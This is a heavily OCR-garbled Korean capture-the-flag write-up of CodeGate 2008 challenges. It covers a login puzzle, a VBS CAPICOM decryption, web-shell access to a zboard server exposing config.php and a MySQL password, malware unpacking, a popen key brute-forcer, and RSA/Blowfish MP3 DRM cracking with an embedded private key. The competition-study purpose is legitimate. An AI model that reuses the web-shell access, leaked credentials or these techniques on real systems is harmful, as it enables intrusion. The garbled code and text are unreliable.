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1-1. Get Start
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Question url is "http://222_239_88.207/login.php™.

All challengers connect this page and try to find the password.
Id is "wowhacker".

http://222.239.80.207/login.php
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1-2. CAPICOM /=538t

f,'" http:/f/222.239.80. 201 /wowhacker_wowcode_overhead_hinehong. vbs — Windows Internet Explorer

@: - |g http /282, 238,80, 207 wowhacker _wowcode _overhead_hinehong, vbs
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Const gckEY = "Wowhacker~1" Set xmihttp = CreateObject("Microsoft, XMLHTTP") =mihttp.open "GET",
"Nt A/222. 239,80, 207 wowh acker _hinehong_wowhacker_good”, “false” xmihttp. Send()

A0 =& WHE = “goKEY”
CAPICOM.EncryptedData &&dst L=

VBSE & otRALt.
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Const gcKEY = "Wowhacker~!"

Public Function Encrypt(Message)
Dim ed, key

key = gcKEY

Set ed = CreateObject ("CAPICOM.EncryptedData")
ed.Content = Message

ed.SetSecret key

Encrypt = ed.Encrypt

Set ed = Nothing

End Function

Public Function Decrypt(EncMessage)

Dim ed, key




key = gcKEY

Set ed = CreateObject ("CAPICOM.EncryptedData")

ed.SetSecret key
ed.Decrypt EncMessage

Decrypt = ed.Content

Set ed = Nothing

End Function

DecData =
Decrypt ("MIGcBgkrBgEEAY | 3WAOggY4wgYsGC i SGAQQBg j dYAwG f TB7AGMCAAECAMYCAQ I AgAQ | zTXt I tD/ i YCEENT9/ I9uOKVsaYVal
| ZUExcEUHo0zZK | 14cVNr v5WFkJ7S 18F8C3ksNOi /Fxul0zCQ I JKrn46BSN1VY3v 1Q/0+hsyKycpFUFKwp+uC+Z4DubOLyq1Evj8UymVO |
AlrHwtHX3")

msgbox (DecData)
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2-1. zboard FHL&E =4

SHMZ HZEE HAIE0l =0 F D Directory Listing0l &= MEHHI| HE0 Cl
dEL O MYsS A= = UL,
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Unselect all

:: Command execute =

Select:

i Upload ::

EN[CE N Uoioad

:: Make Dir = :: Make File =

:: Go File =2
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oY BHEOHE Soll config.php IFL L2l mysql IHARKEE 20t & == UIALE.

http://222.239.80.209/~chmod777/bbs/icon/db2.php?act=f&f=config.php&ft=txt&d=
%2Fhome%2Fchmod777%2Fpub | ic_html%2Fbbs%2F

wjdwhdrkdghkd | x|1d!@#$( & =2 310| &l 1@4#$)

OLRE €2 mysql HE EEZ HMZEEQ HH HOIES NS = UU2H O
JIM HIZ 2 HANSE 241 2 = JUJULH. @2t Mo2 FAE 220/ 4 29

INSERT INTO ‘zetyx_board_freeboard ('no', ‘division', ‘headnum', ‘arrangenum',

‘depth’, “prev_no’, ‘next_no', ‘father', ‘child", “ismember', ‘“islevel , ‘memo",
“ip', ‘password’, ‘name’, ‘homepage', ‘email’, ‘subject’, ‘use_html', ‘reply_mail",
‘category’, ‘is_secret’, ‘sitelinkl’, ‘sitelink2’, “file_namel’, “file_name2",

‘s_file_namel', ‘s_file_name2', ‘downloadl’, ‘download2", ‘reg_date', ‘hit', ‘vote',
“total_comment®, ‘x°, ‘y') VALUES ('1', '1', '-2000000000', 'O', 'O', '3', '85',
‘o', '0', '1', '"1', '<font color=red>

| got command of this board.

From now, | will watch all people in this board.

DO NOT ATTACK SERVER DIRECTLY.

| will cut off attacker using IP access control to protect this server.

[WWW'm doing that and making PaPalLo snack at the same time.

good luck.', '211.215.214.25"', '=FB5F7F2995B6EDASIBES02CFI4CE21056F36183B ",

"hacker ', , '<b><font color=red>| got command of this board.</font></b>", '{'
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INSERT INTO ‘zetyx_board_freeboard ('no*, ‘division', ‘headnum®, ‘arrangenum’,
“depth’, ‘prev_no’, ‘next_no', “father’, “child", ismember , “islevel', “memo’,
“ip', ‘password’, ‘name‘, ‘homepage', ‘email’, ‘subject’, ‘use_html®, ‘reply_mail",
‘category’, ‘is_secret’, ‘sitelink1’, ‘sitelink2’, “file_namel", “file_name2",
‘s_file_namel", “s_file_name2', ‘downloadl’, ‘download2", ‘reg_date’, ‘hit’, ‘vote',
‘total_comment, ‘x°, ‘y') VALUES ('4', '1', '-1', '0', '0', '5', '0', '0', '0',
‘0", '0', 'a', '141.223.201.106', '*667F407DE7C6AD07358FA3BDAED7828A72014B4E", 'a',
POt talt, g ot o, 11206116442, 81,
'5', 0, )

INSERT INTO ‘zetyx_board_freeboard (‘'no*, ‘division', ‘headnum®, ‘arrangenum’,
“depth’, ‘prev_no’, ‘next_no', “father’, “child", “ismember , “islevel®, “memo’,
“ip', ‘password’, ‘name‘, ‘homepage', ‘email’, ‘subject’, ‘use_html’, ‘reply_mail",
‘category’, ‘is_secret’, ‘sitelink1’, ‘sitelink2’, “file_namel", “file_name2",
‘s_file_namel®, "s_file_name2', ‘downloadl’, ‘download2", ‘reg_date’, ‘hit’, ‘vote',
“total_comment®, ‘x*, ‘y') VALUES ('3', '1', '-2000000001', '0', 'O', '0O', '1', 'O,
0", "1, 1Y, Tt 's tough.

Move following page and download a file.

DO NOT USE ANY ANTI-VIRUS SOLUTIONS AND FIREWALLS.

Your anti-vireus solutions could delete the file automatically.

http://222.239.80.209/~hanssomi /

wowhacker /good! !, '211.215.214.25", '+EC31F2E9C35174091F327 175023F3DCE0BABFA2F ',
‘hacker', '', '', '<b>Secret message</b>', '1', "', "'ttt ttoottoortoonront
th,o'2t, "0, '1205935648', ‘77, '0', 'O, L )

INSERT INTO ‘zetyx_board_freeboard ('no*, ‘division', ‘headnum, ‘arrangenum’,
“depth’, ‘prev_no’, ‘next_no', “father’, “child", “ismember , “islevel', ‘memo",
“ip', ‘password’, ‘name‘, ‘homepage', ‘email’, ‘subject’, ‘use_html®, ‘reply_mail",
‘category’, ‘is_secret’, ‘sitelink1’, ‘sitelink2’, “file_namel", “file_name2",
‘s_file_namel", “s_file_name2', ‘downloadl’, ‘download2", ‘reg_date’, ‘hit’, ‘vote',
‘total_comment®, ‘x*, ‘y') VALUES ('5', '1', '-=2', '0', '0', '7', '4', '0', '0',




‘0", '0', 'ab', '141.223.201.106"', '*667F407DE7CEAD07358FA38DAED7828A72014B4E", 'a',
POt talt, gt 0, 11206116484, '3,
0, o, )

INSERT INTO ‘zetyx_board_freeboard ('no*, ‘division', ‘headnum, ‘arrangenum’,
“depth®, “prev_no’, ‘next_no", “father®, ‘child", “ismember”, ‘islevel’, ‘memo",
“ip’, ‘password’, ‘name’, ‘homepage', ‘email’, ‘subject’, ‘use_html®, ‘reply_mail",
‘category’, ‘is_secret’, ‘sitelinkl1’, ‘sitelink2", “file_namel’, “file_name2",
‘s_file_name1", “s_file_name2", ‘downloadl", ‘download2", ‘reg_date’, 'hit', ‘vote’,
‘total_comment®, ‘x*, ‘y') VALUES ('7', '1', '-8', '0', '0O', '8', '5', '0', '0',
‘0", '0', 'sfdfds
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220l 24X 701 W20 BE2 12Xct) =216t Ot 22

Al

a FA

alta?

ab OFAF

bitalt+a2+b?2

abc XADFAF

c2t+cltbi+alta2+h?

abcd XAVDDFAF

c2tc1+di1+d2+b1+aita2+h?2

abcde XAVDDFVAGF

c2t+c1+d1+d2tb 1+al+e2+a2+e 14+b2

abcdef XAVDDFAVAGFA
c2tcl+di+d2+b1+ai+f 1+e2+a2+e 1+b2+f2

abcdefg XDAVDDDFAVAGFA
c2tgl+c1+di+g2+d2+b 1+al+f 1+e2+a2te 1+b2+f2
abcdefgh XDAFVDDDVFAVAGFA
c2tgl+c1th2+d1+g2+d2tb 1+h1+al+f 1+e2+a2+e 1+b2+12
abcdefghi XDAFVVDDDVFAVXAGFA
c2tgl+c1th2+d1+i2+g2+d2+b 1+th1+a1+f 1+e2+i 1+a2+e 1+b2+f2
abcdefghij XDAFVVDD DVFADVXAGGFA

c2tgi+cith2+d1+i2+g2+d2+b 1+h1+al+f 1+ 1+e2+i 1+a2+e 1+) 2402+ 12
abcdefghijk  XDAFVVDDFDVFADVXAGGFAF
c2tgl+ci+h2+d1+i2+g2+d2+k 1+b 1+h1+al+f 1+ 1+e2+i 1+a2+e 1+ 2+b2+ f2+k2




abcdefghijkl  XDAAFXVVDDFDVFADVXAGGFAF
c2tgl+ci+i2+h2+1 1+d1+i2+g2+d2+k 1+b 1+h1+a1+f 1+ 1+e2+i 1+a2+e 1+ 2+b2+ f2+k2

dl ?12 2o SSE S NS0 et QA AW 20 SXX E= 24
2= THHHXI Gt EAdie Z Ot 22 A2 28 = JUJUCH

c2tgl+12+c1+h2+| 1+d1+i24b 1+g2+k 1+d2+h 1+a1+ {24 ) 1+e2+i 1+a2+e 1+ 2+b2+f 1+k2

c2tg1+12+c1+h2+ | 1+d1+i24b 1+g2+k 1+d2+h 1+a1+ {2+ ) 1+e2+i 1+a2+e 1+ 2+b2+f 1+k2
vbb AX ODFF VV A DAF FX AF AAV X V
D

FA VX AV FD AA VF DV AX FF XV AD DD
ar 70 f h 4 c k i ng




3. A& 2lHA (win32+pack)

Malware &

Ct2E2t2 notepad.exeE &AM Ot 0t TlWolE2LI AFOIXDJF ERICE.
0 notepad, exe 108kE S22 Z=18 2008-03-22 = .
0 notepad_org, exe EEKE =& ZEIH 2004-08-0k 2% .,
./Exeinfo PE - ver. 0,0.1.6 B (237 sign =lof
_ﬂ'ﬁ”notepad.exe _I
Entry Point : foooos7on. oo EP Section: [Eexk _|_>!

File Offset ; |DEII:II3289D
SubSystem : [WiRaz GUl

First Bytes : BLECEn.oLoc - |  _Plug|

= Linker Info: [en R
= File Size iggnmgsoh Overlay IMS&D'
Opkions |
% Image is 32bit executable 2005
{meneric check : Installer WO ESiRaR=Ne - | read from Owl ; Rullsoft Exit
Lamer Info - Help Hint - Unpack info .
e
I' ar Takal Commander plugin - InstallExplorer Yersion' 0.9.1 { go inside ) E = B I
el A Exelnfo PE2 notepad.exel PES ZEAlol &2 QULCH.

EAI. D:I

ot
exe ML AS & = JUULE.

Universal ExtractorZ Itol =5 EQULCT.

#® Universal Extractor »1.5 = 0] x|

archivedinstaller to extract:
|D:WWDrkS‘#cndegateWnutepal:l.exe ;| |

Destination directory:
|D:WWDrks‘#cndegateWnutepal:l"# ;| |

Universal Extractor Preferences
Write debug file to |C R |

Language |Engl|sh I ¥ Track archive h|stt

[8];8 I Cancel |

OteH2t 20l SVCHOST.exe LS HAHAESE =

o SFHUMME 2 &= UAXO0l Nullsoft AtS

Instal ler Ol

ool &4

&
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& D:¥WWorksWcodegateWnotepad

=10l x|

OFHEY MTEEY 2200 SAHFENE Z2(I ESEH) | u',."
2 - Q- (3| Pze e | [$ 3 X 9| E-
(D |5 D.WWDrkchndegateWnutepad S Bos
Ej § INSIB] nsl notepad, exe
\p MSIS Scrlpt FI|E Motepad )
,_;7 =1 Microzoft Corporation
SVCHOST, exe
[3 70 |83, 1KE |4 LH 2EE v

3-2. Malware Unpack & &4

g4 sk SVCHOST.exe I 2 UPXZ Packing &l UULCH.

[./Exeinfo PE - ver, 0,0.1,6 B { 237 sign. } 2002.05;25 ;[Qﬂ
File :| [S¥CHOST 2xe L |
Entry Point : [0000EBS0 fom  EPSection: [Opi ] 22l
as)| File Offset : [Do0oaFen First Bytes : [eo.eE.on.en4n _- |  Plug|
— . -
= Linker Info  JE0 SubSvster ¢ [Winas GUI
2= FilesSize:  [ooop440oh Overlay :  [ng oDDDOOOO
p— : oipkions |
=y Image is 32bit executable 2008

-z IWarkus & Laszlo wer. [ 3,00 ] <= info From file, Exit
Lamer InFu:u Help Hink - Linpack info

- - s nf -
||_u'||:|a|:k "upx.exe -d" From hkbp:ffups.sfonet of any UPR/Generic unpa E z =i I

UPX THHE -d &2 0|30t UPX Packing & Hl ol Al HCH.




2087-12-16 18.795 NEWS
2087-12-16 4,923 READHE
773 READHE._15T
2.145 THANKS
2,315 TODO
2087-12-16 43,436 upx.1i
2087-12-16 37.214 uwpx.doc
20807-12-16 267,312 upx.exe
2087-12-16 42 .657 upx.html
5,792 415 H
H2l 2.e88.263.168 H

E:WlHackZoneWloolsH2 .ReverseWCrackersKitWnpackingWIPEBupx382wiupx —d SUCHBST .ex
e

File =i=e
36864 <{— 17488 47.22x% win32/pe SUCHBST .exe

Unpacked 1 file.

E:WlHackZoneWloolsH2 . ReverseWCrackersKitWinpackingtPEbupx382u>

L0l OfcHet 20 &5 8 = U ofALt.

CodeGate Notepad

Input Auth Key

[aAbBeCdD Auth | Exit |
= [ = = =
=2 of 2A 22z 2 2lHA 2 HIALCEH.

] Sl =) =) v C o = 1I

CltHZ Z23 Hlwole 222 0t 222 &Y Z/UCH HAZXNE B
=< =o a1 — [
S =22 ZAAIl= 22 0|
pada125A]| . ZEDE SUE EEX,ESI
BESSSRSR |75 By B e e s
ga4e1z66|| o[ 7C 88 JL SHORT SUCHBST_.@@48136A OF~F] a2 2 AHD|S DEC AL S0
BR4E1362 ac 7R
podalsed| .| 7F ge E'IECSHEﬁT SUCHBST_. BE48136A
poseizen | 37| 5€ &1 BP ALodl o crosT--B0381sTe
ggigiggg - EE Eg ghPSHEﬁEHSUCHBSL-99431377 OFF) 8282 AHDIS INC AL 5F2
aaigig;g o ?ECSE J5 SHORT SUCHRST_.AE4a1377
aadaiz7a|| 5 | 286412 HOU BYTE PTR OS: [EEX+EDRT, AL
doseiacs|| o | 8re HDU_Eb1,E51
sasdeizea|| - | e2ce FF OR ECx,FEFFFFFF
padeiaer|| 1 | B The ERd- 5
po481350 Z F2:fe REPNE SCRS BYTE FTR ES: [EDI]
pade1za|| - | 49 DEC ECH EE] SRS G
gede1zzs|| - | 2BES CHF_EEF,ECX =AZ 0|9 ghs
481357 || .~-72 D3 Lig sHORT SUCHBST_.ma4a1ass

Jell, HtE ot 2R 2

=2 Hluwdt
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2201 JAALH.
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o
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Bad4a1asz|] . F7D1 HOT ECH

Ga4a1aa4d)] . 49 DEC ECH

Ba4E1355)] «  SBE9 CHF_EBF,ECH

BE4a1357|] .~ 72 D3 JE SHORT SWCHBST_.eo4@135C

BE4E1339)]1 . 5B FOF EBX

GadEizen) | > BF &87148@8 MOV EDI, SUCHBST_.@@4E7162 RASCII "G TThnmBEmERgdoBg Uhnm®
Ba4a13aF)] . 83C9 FF OR ECH,FFFFFFFF

Ba4a13921]1 . 33Ca ®OR ERX, ERX

BE4E139411 . F2:AE REFME SCAS EYTE PTR ES:[EDI]

Ba4a139s)] . F7DL HOT ECH

AO4E1393)] . 49 DEC ECH

[SEETE] = | .  SD0d4424 BC LEA ERX,DWORD FTR SS5:[ESF+C1]

BEd4a13901] . 51 FUSH ECH

BE4E139E|] . 5@ FUSH ERX

aa4a13%F || . 68 68714888 | PUSH SUCHEST_.@8487168 RSCII "G TThnmBrERgdoBg® Uhnm®
Ga4E1sR4 )| o ES ATESE888 | CALL SUCHEST_.a848175a

BE4E13A9)] . 8304 BCc AOD ESF, @C

Ba4a12Ac)] . FFDE HEG ERX

BE4E123AE|] .« EBF FOF EDI

Ba4813AF || .« SE FOF EEI

Stack address=BB13E9E4, (ASCII ""BaCbDcE™) . _ o = 5 =
ERX=AaREREAEA <— ﬂ F_E|E|_|- EI"EEH = 'IE'EI- :EH Il_l'

MetA, S22 A2XH SIHAIIIL HEXNE ZAAMAM dES 2 = URUL.

PaSSionAnDPrepAraTion




4. elsA+2SSHRE+Crypt)

4-1. prog Il =24

for GHU Linux Z.

file U2 AH= Z1 ELF typell binary &2 & = UL

decryption Olct= &8 A = AL, 22482 A ot oH I1DAS] hex—
5

A
ray Plug-in2 A5t ZEZ Decompile of 2 ULCH.

int __cdecl decryption(const char *pArgStr)
{
signed int si1; // ecx@5
signed int si2; // ebx@2
signed int si3; // [spt860h] [bp-10h]@1
signed int si4; // [sptOh] [bp-870h]@2

unsigned int uil; // kr00_4@1
unsigned int ui2; // kr04_4@2
unsigned int ui3; // kr08_4@3
unsigned int ui4; // kr0C_4@4
sp+85Ch] [bp-14h]@1
spt+20h] [bp-850h]@1

unsigned int ui5; // [
[

unsigned int ui7; // [spt4h] [bp-86Ch]@2
[
[

unsigned int ui6; //
unsigned int ui8; // [sp+38h] [bp-838h]@3
unsigned int ui9; // [sp+4Ch] [bp-824h]@4
int i1, // edi@5
int i2; // esi@2
int i3; // esi@3
int i4; // edi@3
int i5; // esi@3
int i6; // esi@4




int i7; // edi@4

int i8; // esi@4

int i9; // [spt8h] [bp-868n]@1
int i10; // [spt24h] [bp-84Ch]@2
int i11; // [bp-848h]@2
int i12; // [bp-844h]@3
int i13; // [bp-840h]@3
int i14; // [bp-83Ch]@3
int i15; // [bp-834h]@3
int i16; // [bp-830h]@4
int i17; // [bp-82Ch]@4
int i18; // [bp-828h]@4
char ch1; // bl@5
char ch2; // zf@7

const char *pStri; // [spt1Ch] [bp-854h]@1
const char *pStr2; // [sp+18h] [bp-858h]@2
const char *pStr3; // [sp+14h] [bp-85Ch]@3
const char *pStr4; // [sp+10h] [bp-860h]@4

_BYTE b1[1024]; // [sp+5Ch] [bp-814h]@2
_BYTE b2[1024]; // [sp+45Ch] [bp-414h]@3

int 119; // [spt50h] [bp-820h]@4
int i20; // [sptCh] [bp-864h]@5

uis = 0;
pStri = pArgStr;
uil = strlen(pArgStr);
i9 = OxFFFFFFFFCCCCCCCD; //-858993459;
ui6 = (uit = 1) % OxA;
Si8 = (uil = 1) % OxA;
while ( pArgStr[ui5] )
{
b1[ui5] = (unsigned __int8)((((_BYTE)si3 + ((unsigned int)(si3 >> 31) >> 25)) &




OX7F)
- ((unsigned int)(si3 > 31) > 25))

+ (unsigned __int8)(((12 * pArgStr[ui5] + ((unsigned int)(12 =
pArgStr[uis] >> 31) >> 25)) & 0x7F)
- ((unsigned int)(12 * pArgStr[ui5] > 31) >> 25));
si2 = pArgStr[ui5];
19 = 1717986919;

i10 = si3 % 10;
i2 = x(_DWORD x)&keys[4 * si3 % 10];
ui7 = uib;

19 = 1717986919;
si4 = (signed int)((unsigned __int64)(1717986919i64 * si3) >> 32) >> 2;
i11 =si3 % 10;
pStr2 = *(const char **)&keys[4 * si3 % 10];
ui2 = strlen(pStr2);
i9 =ui2 - 1;
if ((si2>= *(_BYTE *)(i2 + ui5 % (ui2 = 1)) )
{
i6 = pArgStrluis];
19 = 1717986919;
i16 = si3 % 10;
i7 = »(_DWORD *)&keys[4 * si3 % 10];
19 = 715827883;
si4 = (signed int)((unsigned __int64)(715827883i64 * (signed int)ui5) >> 32)

> 1;
i17 = (signed int)uis % 12;
b2[ui5] = (((_BYTE)i6
+ x(_BYTE *)(i7 + (signed int)ui5 % 12)
+ ((unsigned int)((i6 + *(_BYTE *)(i7 + (signed int)ui5 % 12)) >>
31) >> 25)) & Ox7F)
- ((unsigned int)((i6 + =(_BYTE *)(i7 + (signed int)uis % 12)) >> 31)
>> 25);
i8 = pArgStr[uis];
i9 = 1717986919;
i18 = si3 % 10;
ui7 = =(_DWORD *)&keys[4 * si3 % 10];




ui9 = uib;
19 = 1717986919;
si4 = (signed int)((unsigned __int64)(1717986919i64 * si3) >> 32) >> 2;
i19 = si3 % 10;
pStr4 = *(const char **)&keys[4 = si3 % 10];
ui4 = strlen(pStr4);
i9 =uid4 - 1;
b2[ui5] = (((unsigned __int8)(i8 — *(_BYTE *)(ui7 + ui9 % (ui4 - 1)))
+ ((unsigned int)((i8 — *(_BYTE *)(ui7 + ui9 % (ui4 - 1))) > 31) >
25)) & Ox7F)
- ((unsigned int)((i8 = *(_BYTE *)(ui7 + ui9 % (ui4 - 1))) > 31) >
25);
}
else
{
i3 = pArgStrluis];
19 = 1717986919;
i12 = si3 % 10;
i4 = »(_DWORD *)&keys[4 * si3 % 10];
i9 = —1840700269;
si4 = (signed int)(((unsigned __int64)(-1840700269i64 * (signed int)ui5) >>
32) + uib) > 2;
i13 = (signed int)uib % 7;
b2[ui5] = (((unsigned __int8)(i3 — =(_BYTE *)(i4 + (signed int)ui5 % 7))
+ ((unsigned int)((i3 — *(_BYTE *)(i4 + (signed int)ui5 % 7)) > 31)
>> 25)) & Ox7F)
- ((unsigned int)((i3 - *(_BYTE *)(i4 + (signed int)ui5 % 7)) >> 31)
>> 25);
i5 = pArgStrluis];
19 = 1717986919;
i14 = si3 % 10;
ui7 = =(_DWORD *)&keys[4 * si3 % 10];
ui8 = uib;
19 = 1717986919;
si4 = (signed int)((unsigned __int64)(1717986919i64 * si3) >> 32) >> 2;

i15 = si3 % 10;




pStr3 = *(const char **)8&keys[4 * si3 % 10];
uid = strlen(pStr3);
i9 =uid3 - 1;
b2[ui5] = (((_BYTE)i5
— x(_BYTE *)(ui7 + ui8 % (ui3 - 1))
+ —128

+ ((unsigned int)((i5 — *(_BYTE *)(ui7 + ui8 % (ui3 - 1)) + 128) >

31) >> 25)) & Ox7F)

— ((unsigned int)((i5 — *(_BYTE *)(ui7 + ui8 % (ui3 - 1)) + 128) >

31) >> 25);
}
+Huib;
++si3;
cht = b1[uis - 1];
sil=-1;
i20 = (int)b2;
i1 = (int)b2;
do
{
if (Isit1)
break;
ch2 = *(_BYTE *)il++ == 0;
-—sil;
}
while ( lch2 );
b1luid - 1] = ch1 + ((~(_BYTE)si1 - 1) & Ox7F);
}
b2[ui5] = 0;
return (int)b2;

}

nE =24 20 22 Eite Usl 20
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- =AE2 Z0IE BN g5 2J| /g Z0lz2 €38 = AF22H Match &=
SAE Follte 20A 22 =Ss201 HatEHX EZ=0.
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4-2. B DS =y

e OFHe 22 DEZ MG SUCH popenS OIS0
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£ 2A=0l
£ g ==otJ

/* made by amadoh4ck */

#include <stdio.h>

#define MAXLINE 256

int main(int argc, char *argv[])
{
FILE *fp;
int i, j, found;
unsigned char cmd[MAXLINE];
unsigned char buf[MAXLINE];
unsigned char match_str[32] = "fckorea-wowhacker-codegate";
unsigned char input_str[32] = "aaaaaaaaaaaaaaaaaaaaaaaaaa";

for (i=0;
{

i<26; i++)
for (j=1; j<255; j++)
{

input_strlil = j;

snprintf(cmd, MAXLINE, "./prog #'%sw"", input_str);

fp = popen(cmd, "r");

if (fp == NULL)

{

popen error..");

perror("erro :

return -1;




found = 0;
while(fgets(buf, MAXLINE, fp) != NULL)

{
if (match_str[i] == buf[30+i])
{
printf("wWx%02x", j);
fflush(stdout);
input_str[i]l = (unsigned char)j:
found = 1:
break;
}
}
pclose(fp):
if (found)
break;
}
}
printf("Wn");

? ZEE 0IZot0d Ofchet 201 ZUE = = UL

[debugcon@localhost :/codegate/ level4] gec 14.c —o 14
[debugcon@localhost:/codegate/ level4] /14

sh: —c: line 0: unexpected EOF while looking for matching "'

sh: —c: line 1: syntax error: unexpected end of file

x4 7#x 14

[debugcon@localhost:/codegate/ level4] /14 2> /dev/null

x4 7Wx 14%Wx 1 aWx 28 x 55X 1 7#x 42Wx 63WxSClx 1 FiltxSalx 19 x 421 x4 71Wx 1ex 1elx2bix Oelx 13Wx 521 x4all

X 17Wx 1dix 1atx56Wx4b

[debugcon@localhost : /codegate/ level4] exit




5. DRM(mp3 drm)

5-1. music.exe =4

music.exeES AIMAII| X BIESIHU What .mp3JF 242A CH. Resource HackerE 0| =6}

N A
O music.exell clAASS AH BUCH. SHIQ 20| US A 22 RSA Private
keyot elAA0 =oAL,

4 Resource Hacker - G:WHackContestWcodegate _2008Wlevel5Wmusic, exe

File Edit Miew Action Help
=3 L_-iEIINARY

ComplleracHn

MIICEATEAAKEgQDAAVErsRE v Ther SvxBr7 ARy TVEFoOkIuZ Iot 1 1VetHij=1KEr
JEESfunmMTUEAGIPAS I E13b 37 hdneNE iU  IVJGEADRoWCELeQLEZaigqEigx/ 3vn
L OWOIRTNxodk1hr S 1 IMT+Cmf D TE I r hlTnomInd ATOf w3ucdSEeT17PIPOIDAQLE
AoGAFVDZNETe7iullexN7s+wlMEpd IOt wODFe2 EOtnO+RES he JsVdGe HOdKhg I+
Ei_j[ﬁaMg JSakiBE/ jeQqiEkvOkIvH, MgOAl4 ZRrKEZDD293VIGLODSEREFtTKpe,/ £Hhh1 MHH+1
'hJ String Table fAY1ThC/ +8T18MeeWEZiNIy 72 I5DEh/ JEss IMTZ OUCQHE/ OCQODEgh Zr ¥ygSexok

[ lcon Group

H JOMhge 3didG0LeTlpwFEVHCEst Ip Y et 2 Yox M/ DU Tep Q80 1evhy 7OHAg O Uns 9 ke
- v UE+EAUITAKEA4doHeNCrRID4RVOher P RoHORE wuQS LYYy e 078 TnS934DEZ KQ
w3 24 Tolli/dYRogewlololicZNIu+STwiESULwIEAKcd 13EwCOTrLILACkKks A GSH] D
BN3xZtijbh/ zemSeva3dsl+3cF s0iwlouT+I=9g6gp la74VoFdmi fRJec jBEQkCOH
BazaaH1lISTUYOLOPZggleDEeCit / ewgSdEp ItHA4CRQ1QeGgN 7wl lwpxduVhUe i
1DwCugal 3kOSHNE I3 MCOEppe i v mOaLEPVbWA I neMDy SR TEDr e THIOWS IxZ 2
oLr9pE1di4+CgUACHCWOwhbm] jCuyh+cngtWh1E4+I0 o=

What.mp3E Mol E2AXE L2|Jt 0l St XNEH S00F AE XK &~~~ A2

Tl mp3 IS S0 FramesSS =UHEN ZIUACH. 2HONAM XMt FEHM =
cll&0l OlafotChetl) 8t &0l =Qtotd HEIM SFEHM ZdS 2li), OO
TAGC2t= 2t Liee F2& 2aotH =UACH

3319 = SEM Zde0l H=ol 128HI0IEZ REEHN Al=E s Fs = U
ALH. RSAZ Fsst et FEE= 2l 0IUTH.

ChS& What.mp3 IHY

1n

HI =S WSOICH



00000260h: CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD
0000027 0h:
000002800 :
000002500 :
000002s0h:
000002kh0h:
000002c0h:
000002 d0h:
00000zZe0h:
0000020k :
000003000

Lr e

5

= -1

=
Ln

o
i ]

(Y
63

= )

=
a0

5-2. RSA =233}

FF FB BO 04 2| mp3 dIIE HMI2lst F2 2XZ0| HE3| 128HI0/ER I 20 Ol
2XES =& RSA Private 912 25 3stot |

Ct=S2 openssl rsautl AE Y@d=2 0|80l RSA £33t F=22 =538t 3IH
O|Ct.

stream@ww ~ $ openss| rsaut! —in data.enc -out data.dec —inkey rsa.key —decrypt

stream@ww ~ $ cat data.dec

The best security group. WolHacker”@°@"@"@"@"@"@"@"@"@"@"@"@"@"€"€"@"0"@"@"@"@""@"€"0"0"@"@"@
stream@ww ~ $ hexdump data.dec

0000000 6854 2065 6562 7473 7320 6365 7275 7469

0000010 2079 7267 756f 2e70 5720 576f 6148 6b63

0000020 7265 0000 0000 0000 0000 0000 0000 0000

0000030 0000 0000 0000 0000 0000 0000 0000 0000

0000040

5-3. blowfish&

(=)
0K
o
3
©
W
Ju
o

38 228 ERQRZRH UE HEQ What.mp3Jt Lh2 RN Rel= dIHE HE
ot XX &~~~ 2|0l AlSot] AJCH

Jdeln HE2O0l CHst oHOHGHL], &2 <celJt 228 Hsol tish 2xRE S8 (key
b 2Aget Zgetlis 22l 2 2 0l R0 fcl 82 RSAZRH 22
key 64 HIOIE 255 keyZ o) MK dse 4 EC HEZGIALH 0 B=
2 dY A28 R20ICH.) HE0 Scl= el &8 2dHX AIZA 0 2HE



ol ZGtAl RotULE.

ZI|0l= mp3 Y M HIONA Frame LHSl stream S0 IE S0tM E2S3tolD O
2 FHAAJALCH. DHCHF DX Ms ZHEE2 25 XOHD otLe Zy PSS Lt
mp3ll TP XE =Sstot= U0l xUiet =8 XF0HM =23E A6 &
AN, B= key 2= 34HI0IEDI OtLl B64BI0IEZ HIE Z00F MUZ & S24s
== = UA ZULCH.

CtS2 mp3 IS ZH Y €2 Xe= split_filedt 2 MHLOICH blowfish &3t
E £H5IH StU2 mp3 Y ZE OF=0 F== blowfish_file2 0l&6t0d mp3 MY S
=

[amadoh4ck@debugcon ~/level5]$ Is -laF

total 5534
drwxr—xr-x
drwxr—xr-x
—TW-T——T——
—TWXT =XT =X
—TW-T——T——
—TW-T——T——
drwxr—xr-x
—TWXT =XT =X

“rw-r—r— 1

amadoh4ck
amadoh4ck
amadoh4ck
amadoh4ck
amadoh4ck
amadoh4ck
amadoh4ck
amadoh4ck

amadoh4ck

whee |
whee |
wheel
whee |
wheel
wheel
whee |
whee |

wheel|

Mar
Mar
Mar
Mar
Mar
Mar
Mar
Mar

Mar

v
25 ../
122 What.mp3
49 blowfish_filex
149 blowfish_file.c
150 log.txt
149 split/
122 split_filex

21 split_file.c

drwxr—-xr-x 2 amadoh4ck wheel Mar 143 temp/

[amadoh4ck@debugcon ~/level5]$ ./split_file

[amadoh4ck@debugcon ~/level5]$ cd split

[amadoh4ck@debugecon ~/level5/split]l$ Is —laF |

total 17548
drwxr—-xr-x 2
drwxr—xr-x
—TW-T——T——
—TW-T——T——
—TW-T——T——
—TW-T——T——
—TW-T——T——
—TW-T——T——

—ITW=r—r—

amadoh4ck
amadoh4ck
amadoh4ck
amadoh4ck
amadoh4ck
amadoh4ck
amadoh4ck
amadoh4ck

amadoh4ck

whee |
whee |
wheel
wheel
wheel
wheel
wheel
wheel

wheel|

177664 Mar 25 16:

512 Mar
34676 Mar
622 Mar
622 Mar
622 Mar
622 Mar
622 Mar

623 Mar

25
25
25
25
25
25
25

25

51 ./

50 ../

151 Header
150 What0000
150 What0001
150 What0002
150 What0003
150 What0004

150 What0005




—TW-r—r—— amadoh4ck wheel 623 Mar 150 What0006
—TW-r—r—— amadoh4ck wheel 623 Mar 150 What0007
—TW-r—r—— amadoh4ck wheel 623 Mar 150 What0008
—TW-r—r—— amadoh4ck wheel 623 Mar 150 What0009
—TW-r—r—— amadoh4ck wheel 623 Mar 150 What0010
—TW-r—r—— amadoh4ck wheel 623 Mar 150 What0011
“TW-T—r— amadoh4ck wheel 623 Mar 150 What0012
—TW-r—r—— amadoh4ck wheel 623 Mar 150 What0013
—TW-r—r—— amadoh4ck wheel 623 Mar 150 What0014
—TW-r—r—— amadoh4ck wheel 623 Mar 150 What0015
—TW-r—r—— amadoh4ck wheel 623 Mar :50 What0016
—rw-r—r—— 1 amadohdck wheel 623 Mar :50 What0017
-rw-r—r—— 1 amadoh4ck wheel 623 Mar 150 What0018
[amadoh4ck@debugcon ~/level5/split]$ cd ..

